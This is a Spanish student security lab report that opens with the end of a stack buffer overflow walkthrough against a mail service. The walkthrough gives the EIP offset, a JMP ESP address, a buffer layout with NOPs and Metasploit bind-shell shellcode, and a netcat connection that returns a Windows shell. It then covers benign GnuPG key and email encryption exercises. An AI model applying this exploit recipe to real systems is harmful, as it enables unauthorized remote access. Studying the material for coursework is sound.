Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5G
c6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge
9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2
Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5G
j6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl
9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2
Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5G
q6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs
9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2
Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5G
x6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz
9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2H"

En la imagen a continuación se puede observar como la pila queda llena de


carcteres “A” “...414141414141…”
Una vez se observa que caracteres se escriben en el EIP entonces se usa la
segunda herramienta para descubrir en que posición se encuentran esos
caracteres en este caso el registro EIP quedo escrito con el siguiente
contenido, 47386E47, usando la herramienta pattern_offset.rb que recibe como
argumentos los caracteres y el tamaño del buffer se puede obtener la posición
de esos caracteres en el buffer.

Ya sabiendo esto, entonces queda buscar una instrucción que apunte a la pila
o sea al registro ESP, la instrucción más sencilla para lograrlo sería un salto al
stackpointer JMP ESP
En este caso se obtuvo que la instrucción JMP ESP tenía la siguiente dirección:
7C86A01B pero para agregarla al buffer hay que copiarla en Little endian
quedando así: 1BA0867C, entonces de momento nuestro buffer puede
conformarse así, 5094 „A‟ seguidos de la dirección de la instrucción JMP ESP,
luego una cierta cantidad de instrucciones NOP y por último el código que
queremos que la máquina ejecute.
buffer = 'A'*5094+'\x1B\xA0\x86\x7C'+'\x90'*16+Codigo para ejecutar

Afortunadamente nuestra “suite” también trae muchísimos “shellcodes” o


“huevos” como los llamará en su tiempo Aleph 0ne, para que la máquina
víctima ejecute, en este caso usaremos uno que ejecute un bind Shell y
podamos acceder a la máquina a modo de Backdoor.

Buscando en el Metasploit encontré el siguiente “shellcode” que realiza un


bindshell por el puerto 101
Entonces ahora nuestro buffer puede ser completado y quedo del siguiente
modo:

buffer = 'A'*5094+'\x1B\xA0\x86\x7C'+'\x90'*16+sc2

Y por último el archivo poc.py queda de la siguiente manera:

Se especifica la IP de la máquina víctima, el puerto en este caso 25, el


“shellcode” y el buffer a enviarse.

Una vez realizado esto, desde nuestra máquina ejecutamos netcat a la


máquina víctima en el puerto 101:

netcat 192.168.56.101 101


En la imagen se ve como la máquina nos manda una Shell o más bien una
cmd de Windows
Laboratorio de Seguridad Informática
Ejercicios Práctica # 9
Juan Camilo Correa Chica 1128270222
Profesor: David Mora Rodríguez

Ejercicio 1

GnuPG es la versión GNU de la aplicación PGP. Utilice GNUPG para


solucionar los siguientes escenarios:

ALICE y BOB poseen claves PGP y las han subido a un servidor de claves
PGP (utilice el servidor pgp.mit.edu).

Suponga que BOB desea enviar un mensaje a ALICE, para esto BOB debe
conseguir la clave pública (PGP) de ALICE, verificar que esta sea autentica y
cifrar los datos con dicha clave, luego ALICE podrá recibir con su clave privada.

Considere el escenario anterior pero ahora haga que BOB firme el mensaje que
se ha de enviar para proporcionar el servicio de no-repudio.

BOB ha aceptado la clave pública de ALICE y desea certificar que en efecto


dicha clave pertenece a ALICE haciendo así que el keyring tenga una
confiabilidad mayor.

Los siguientes comandos le serán de utilidad.

gpg --gen-key
gpg --export -a > /.gnupg/claves.asc
gpg --import archivo.con.clave
gpg --list-keys
gpg --send-keys --keyserver pgp.mit.edu
gpg --keyserver pgp.mit.edu --search-key KeyID
gpg --output documento.gpg --encrypt --recipient usuarioB@cyb.org documento
gpg --output documento --decrypt documento.gpg
gpg --output documento.sig --sign documento
gpg --fingerprint KeyID
gpg --edit-key KeyID
man gpg<

Para implementar este escenario no serán Bob y Alice los personajes sino
Camilo y Johana
Camilo y Johana crean sus claves y las suben al servidor pgp.mit.edu.co

Para crear una clave con GnuPG se debe utilizar el comando

gpg --gen-key

Aparecen las siguientes opciones, se selecciona la (5) que crea una clave que
firma con RSA, más adelante se le dara a la clave propiedades para cifrar.

Please select what kind of key you want:


(1) DSA and Elgamal (default)
(2) DSA (sign only)
(5) RSA (sign only)

Luego preguntan de qué tamaño se quiere la clave, se escoge en este caso


2048 bits

What keysize do you want? (2048)

Después preguntan por el tiempo de validez de la clave, con 0 se escoge


duración infinita y las otras opciones permiten escoger según se quiera

Key is valid for? (0)

A continuación preguntan por el nombre, el correo electrónico y un comentario


opcional para la clave

You need a user ID to identify your key; the software constructs the
user ID
from the Real Name, Comment and Email Address in this form:
"Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"

Real name: Dennis Kaarsemaker


Email address: dennis@kaarsemaker.net
Comment: Tutorial key
You selected this USER-ID:
"Dennis Kaarsemaker (Tutorial key) <dennis@kaarsemaker.net>"

Luego piden que se agregue una Frase de paso (Pasphrase), hay que copiarla
2 veces y no puede olvidarse, por lo general una frase sencilla de recordar que
uno mismo se invente

You need a Passphrase to protect your secret key.


Luego de esperar unos segundos se debe obtener un pantallazo como este

Para crear la clave secundaria que permita cifrar los documentos se usa el
comando:

gpg --edit-key <Clave-pública>

Secret key is available.

pub 2048R/D8FC66D2 created: 2005-09-08 expires: never usage:


SC
trust: ultimate validity: ultimate
[ultimate] (1). Dennis Kaarsemaker (Tutorial key)
<dennis@kaarsemaker.net>

Command>

En command se copia “addkey” y en la próxima selección se escoge la opción


6 para que la subclave solo cifre.

Please select what kind of key you want:


(2) DSA (sign only)
(4) Elgamal (encrypt only)
(5) RSA (sign only)
(6) RSA (encrypt only)

De aquí en adelante es igual al proceso anterior de las claves pública y privada,


luego se obtiene la siguiente confirmación.
pub 2048R/D8FC66D2 created: 2005-09-08 expires: never usage:
SC
trust: ultimate validity: ultimate
sub 2048R/389AA63E created: 2005-09-08 expires: never usage:
E
[ultimate] (1). Dennis Kaarsemaker (Tutorial key)
<dennis@kaarsemaker.net>
Command>
En command se da save y listo

Previo al envio de las claves es bueno ver si están correctas, para esto se usa
el comando

gpg --list-keys

Y para enviarlas se usa el comando

gpg --send-keys --keyserver pgp.mit.edu <Clave-pública>


Ahora Camilo debe buscar la clave pública de Johana para cifrar con ella y que
luego Johana pueda descifrar con su clave privada.

gpg --keyserver pgp.mit.edu --search-key Clave de Johana

Ahora Camilo debe cifrar el mensaje

gpg --output documento-de-salida-cifrado.gpg --encrypt –recipient correo-


de-johana documento-del-mensaje

Johana descifra el mensaje

gpg --output documento-descifrado --decrypt documento-cifrado.gpg


Ahora Camilo firma el mensaje para el servicio de no repudio

gpg --output documento.sig --sign documento

Ahora Camilo certifica la clave pública de Johana para aumentar el anillo de


confiabilidad

gpg --sign-key clave pública de Johana


Ejercicio 2

Configure los clientes de correo electrónico THUNDERBIRD Y OUTLOOK para


que puedan utilizar las claves PGP generadas e intercambiar mensajes de
correo electrónico.

THUNDERBIRD: http://enigmail.mozdev.org/
OUTLOOK: http://www.gpg4win.org/

Para configurar GnuPG en Thunderbird lo primero que hay que hacer es


descargar Thunderbird
sudo apt-get install thunderbird enigmail gnupg

Una vez abierto el Thunderbird se busca la pestaña OpenPGP y allí se da clic


en Key Management para crear el par de claves como se había visto en el
ejercicio anterior
Como en este caso ya se habían creado claves con GnuPG se le indica
entonces al Thunderbird donde están alojadas estas claves, el directorio
/usr/bin/gpg, dando clic en Preferences.
Al volver a Key Management se podrán observar las claves

Para subirlas al servidor se da clic en la opción Keyserver y luego clic en


Upload Public Keys. Una vez allí se especifica el servidor al cual se quieren
subir las claves públicas.

El proceso para firmar y cifrar e-mails es muy sencillo e intuitivo, ya que las
herramientas necesarias para hacerlo están integradas en la ventana de
redacción del e-mail. Hay incluso una opción para adjuntar la firma pública en
el e-mail.
Para configurar GnuPG en Windows, específicamente para Outlook y Outlook
Express, es necesario descargar el Gppg4win e instalarlo.

A continuación se muestran pantallazos del proceso de instalación que es


prácticamente igual a la instalación de cualquier programa en Windows
Una vez abierto el programa se da clic en Keys luego en New Key para crear
un nuevo par de claves

Luego se siguen pasos similares a los que ya se habían visto con el gpg y con
el Thunderbird
Permite crear una copia de seguridad de las claves
Se introduce la frase de paso (Passphrase)

Se genera la clave y se exporta a un archivo .asc


En la pantalla inicial del programa se puede visualizar la clave listada

Para que estas claves generadas con Gpg4win funcionen con Outlook es
necesario descargar el paquete gpgoe que integra las funciones de PGP a
Outlook.

Una vez descargado se le da doble-clic al ejecutable y debe aparecer un


símbolo de cerradura en la barra de herramientas de Windows

Ahora se debe activar la opción de texto plano en Outlook y habilitar las


opciones Cifrar y Firmas en la barra de herramientas de Outlook.
Para cifrar y frimar el correo se da clic en los iconos y deben aparecer dos
simbolos en la ventana de redacción del mensaje

Al dar clic en Enviar el mensaje es cifrado y firmado con la clave pública del
usuario.
REFERENCIAS
http://www.kubuntu-es.org/wiki/seguridad/e-mails-encriptados-firmados-thunderbird-enigmail-
gnupg

http://ubuntuforums.org/showthread.php?t=650791

http://ubuntulife.wordpress.com/2007/03/15/instalar-un-servidor-ssh/

http://www.gpltarragona.org/archives/421

http://www.acis.org.co/fileadmin/Articulos/TecnicasAtaqueComputacionForense.pdf

http://code.activestate.com/recipes/212198/

http://www.faqs.org/rfcs/rfc2435.html

http://www.linux.com/archive/feature/61025

http://ldn.linuxfoundation.org/node/28969

http://dns.bdat.net/documentos/cortafuegos/x267.html

http://www.pizon.org/articles/building-a-linux-firewall-with-iptables.html

http://www.irongeek.com/i.php?page=security/ettercapfilter

http://forums.remote-exploit.org/newbie-area/14042-netcat-port-redirection-b-option.html

http://foro.latinohack.com/f380/dns-spoofing-usando-ettercap-en-ubuntu-v-getah-23180/

http://openmaniak.com/ettercap_filter.php

http://www.sahw.com/wp/archivos/2008/12/01/auditoria-forense-file-carving-con-foremost/

http://geek00l.blogspot.com/2009/01/ubuntu-unicornscan-revisit.html

http://sectools.org/tools4.html

http://0verl0ad.blogspot.com/2008/09/http-headers-iii-banner-grabbing.html

http://www.baxware.com/escaners-puerto-red-portscanner.htm

http://nideaderedes.urlansoft.com/2009/05/15/introduccion-a-bash-pasar-argumentos-a-un-
script-bash/

http://www.ubuntugeek.com/how-to-install-java-runtime-environment-jre-in-ubuntu.html

http://www.estrellateyarde.es/so/lo-mas-basico-terminal-linux

http://sanchez-soft.blogspot.com/2006/07/java-cear-una-aplicacin-web-con.html

http://nonroot.blogspot.com/2009/08/wargame-in-cp-2009-valencia.html

http://www.securitydocs.com/library/3376
http://www.ol-service.com/sikurezza/doc/netcat_eng.pdf

http://www.wikilearning.com/tutorial/tutorial_de_netcat-introduccion/629-1

http://es.tldp.org/COMO-INSFLUG/COMOs/Bash-Prog-Intro-COMO/

http://www.wikilearning.com/tutorial/iptables_manual_practico-que_es_un_firewall/6439-1

http://www.docstoc.com/docs/9852261/ARP-Spoofing-Tutorial/

http://andy.wordpress.com/2008/07/10/sniffing-http/

http://www.dest-unreach.org/socat/doc/socat.html

http://www.radarhack.com

Y muchas otras más que fueron de gran utilidad pero que en el momento no
recuerdo.

Potrebbero piacerti anche